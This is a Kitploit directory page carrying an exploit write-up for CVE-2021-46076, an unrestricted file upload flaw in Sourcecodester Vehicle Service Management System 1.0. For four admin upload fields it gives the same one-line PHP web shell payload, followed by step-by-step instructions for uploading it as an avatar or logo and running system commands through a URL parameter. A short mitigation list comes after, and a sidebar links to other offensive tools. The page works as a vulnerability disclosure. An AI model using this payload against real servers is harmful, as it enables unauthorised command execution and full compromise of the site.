Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution — CVE-2021-46076 - Sourcecodester Vehicle Service Management System 1.0 is vulnerable to File upload. An attacker can upload a malicious php file in multiple endpoints it leading to Code Execution. | Kitploit
Tools/GitHubGitHub/sanupl/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubsanupl/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution

CVE-2021-46076 - Sourcecodester Vehicle Service Management System 1.0 is vulnerable to File upload. An attacker can upload a malicious php file in multiple endpoints it leading to Code Execution.

View Repository
336 months agoNot yet reviewed
Share

CVE-2021-46076

Exploit Title: Vehicle Service Management System - 'Multiple' File upload Leads to Code Execution

Exploit Author: SANU P.L

CVE: CVE-2021-46076

CVSS: 8.8 HIGH

References:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46076
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46076

Description:

Sourcecodester Vehicle Service Management System 1.0 is vulnerable to File upload. An attacker can upload a malicious php file in multiple endpoints it leading to Code Execution.

1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)

Exploit:

  1. Login to the admin panel http://localhost/vehicle_service/admin
  2. Navigate to My Account section http://localhost/vehicle_service/admin/?page=user

Payload:

<?php system($_GET['cmd']);?>
  1. Save the above php code For Ex:Cmd.php
  2. In My Account Section enter all the required details and browse the php file in Avatar.
  3. Click on update button.
  4. Open the avatar image in new tab.
  5. Add the cmd parameter in the URL and execute the commands.
  6. Final URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. Execute all the system commands For Ex: id, whoami, pwd etc..

2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)

Exploit:

  1. Login to the admin panel http://localhost/vehicle_service/admin
  2. Navigate to User List section and click on Create New button.

Payload:

<?php system($_GET['cmd']);?>
  1. Save the above php code For Ex:Cmd.php
  2. In Create New User Page enter all the required details and browse the php file in Avatar.
  3. Click on Save button.
  4. Open the avatar image in new tab.
  5. Add the cmd parameter in the URL and execute the commands.
  6. Final URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. Execute all the system commands For Ex: id, whoami, pwd etc..

3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)

Exploit:

  1. Login to the admin panel http://localhost/vehicle_service/admin
  2. Navigate to Settings section http://localhost/vehicle_service/admin/?page=system_info

Payload:

<?php system($_GET['cmd']);?>
  1. Save the above php code For Ex:Cmd.php
  2. In Settings Section enter all the required details and browse the php file in System Logo.
  3. Click on update button.
  4. Open the System Logo image in new tab.
  5. Add the cmd parameter in the URL and execute the commands.
  6. Final URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. Execute all the system commands For Ex: id, whoami, pwd etc..

4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)

Exploit:

  1. Login to the admin panel http://localhost/vehicle_service/admin
  2. Navigate to Settings section http://localhost/vehicle_service/admin/?page=system_info

Payload:

<?php system($_GET['cmd']);?>
  1. Save the above php code For Ex:Cmd.php
  2. In Settings Section enter all the required details and browse the php file in Website Cover.
  3. Click on update button.
  4. Open the Website Cover image in new tab.
  5. Add the cmd parameter in the URL and execute the commands.
  6. Final URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. Execute all the system commands For Ex: id, whoami, pwd etc..

Impact:

An attacker can able to upload malicious php file in multiple endpoints it leads to Code Execution.

Mitigation:

It is recommended to implement the following:

  • Never accept a filename and its extension directly without having a white-list filter.
  • If there is no need to have Unicode characters, it is highly recommended to only accept alpha-numeric characters and only one dot as an input for the file name and the extension.
  • Limit the file size to a maximum value in order to prevent denial of service attacks.
  • Uploaded directory should not have any "execute" permission.
  • Don't rely on client-side validation only.
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    282

Explore all tools

Browse our collection of tools

View all tools →